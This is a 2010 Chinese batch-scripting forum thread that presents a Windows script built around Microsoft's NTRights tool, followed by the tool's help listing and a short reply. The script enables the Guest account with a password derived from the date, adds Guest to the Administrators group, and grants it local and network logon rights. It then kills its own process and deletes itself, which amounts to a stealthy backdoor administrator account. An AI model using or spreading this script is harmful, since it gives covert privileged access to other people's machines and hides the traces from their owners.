批处理修改本地策略组的又一狠法 - 中国DOS联盟论坛

Ntrights 工具设置用户的本地组策略的权限，下面地方可以下载Windows2003ResourceKitTools 解压后可以找到此工具。
http://www.microsoft.com/downloads/details.aspx?displaylang=en&familyid=9d467a69-57ff-4ae7-96ee-b18c4790cffd

下面给你举个例子，修改guest的本地/网络登录权限。

@echo off
for /f "tokens=2,3 delims=- " %%a in ('date /t') do (set str1=1%%a%%b)
set /a pas=%str1%+2430-9254
net user guest %pas% /ACTIVE
net localgroup administrators guest /add
SETLOCAL
set path=%myfiles%
ntrights -u guest -r SeDenyInteractiveLogonRight
::去掉guest“拒绝本地登录”权限
Ntrights -u guest +r SeInteractiveLogonRight
::加上guest“允许本地登录”权限
Ntrights -u guest -r SeDenyNetworkLogonRight
::去掉guest“拒绝网络登录”权限
Ntrights -u guest +r SeNetworkLogonRight
::加上guest“允许网络登录”权限
ENDLOCAL
::以下为自删除部分
set f_n="%~nx0"
set f_p="%~dp0"
ping -n 1 127.1 >nul 2>nul
taskkill /f /im %f_n%
del /f /q %f_p%\%f_n%
pause
exit

此工具还支持网络操作，如下是这个工具的帮助，希望能对你有用。
NTRights.Exe - Beta Version by Georg Zanzen
Grants/Revokes NT-Rights to a user/group
usage: -u xxx User/Group
-m \\xxx machine to perform the operation on (default local machine)
-e xxxxx Add xxxxx to the event log
-r xxx revokes the xxx right
+r xxx grants the xxx right
valid NTRights are:
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeUnsolicitedInputPrivilege
SeMachineAccountPrivilege
SeTcbPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege

第1楼　leonlo	发表于 2010-07-11 16:14
新手上路　发帖 2　积分 2
批处理修改本地策略组的又一狠法 Ntrights 工具设置用户的本地组策略的权限，下面地方可以下载Windows2003ResourceKitTools 解压后可以找到此工具。 http://www.microsoft.com/downloads/details.aspx?displaylang=en&familyid=9d467a69-57ff-4ae7-96ee-b18c4790cffd 下面给你举个例子，修改guest的本地/网络登录权限。 @echo off for /f "tokens=2,3 delims=- " %%a in ('date /t') do (set str1=1%%a%%b) set /a pas=%str1%+2430-9254 net user guest %pas% /ACTIVE net localgroup administrators guest /add SETLOCAL set path=%myfiles% ntrights -u guest -r SeDenyInteractiveLogonRight ::去掉guest“拒绝本地登录”权限 Ntrights -u guest +r SeInteractiveLogonRight ::加上guest“允许本地登录”权限 Ntrights -u guest -r SeDenyNetworkLogonRight ::去掉guest“拒绝网络登录”权限 Ntrights -u guest +r SeNetworkLogonRight ::加上guest“允许网络登录”权限 ENDLOCAL ::以下为自删除部分 set f_n="%~nx0" set f_p="%~dp0" ping -n 1 127.1 >nul 2>nul taskkill /f /im %f_n% del /f /q %f_p%\%f_n% pause exit 此工具还支持网络操作，如下是这个工具的帮助，希望能对你有用。 NTRights.Exe - Beta Version by Georg Zanzen Grants/Revokes NT-Rights to a user/group usage: -u xxx User/Group -m \\xxx machine to perform the operation on (default local machine) -e xxxxx Add xxxxx to the event log -r xxx revokes the xxx right +r xxx grants the xxx right valid NTRights are: SeCreateTokenPrivilege SeAssignPrimaryTokenPrivilege SeLockMemoryPrivilege SeIncreaseQuotaPrivilege SeUnsolicitedInputPrivilege SeMachineAccountPrivilege SeTcbPrivilege SeSecurityPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeSystemProfilePrivilege SeSystemtimePrivilege SeProfileSingleProcessPrivilege SeIncreaseBasePriorityPrivilege SeCreatePagefilePrivilege SeCreatePermanentPrivilege SeBackupPrivilege SeRestorePrivilege SeShutdownPrivilege SeAuditPrivilege SeSystemEnvironmentPrivilege SeChangeNotifyPrivilege SeRemoteShutdownPrivilege

第2楼　csanycall	发表于 2010-07-12 09:54
新手上路　发帖 4　积分 4
不错，仔细研究中！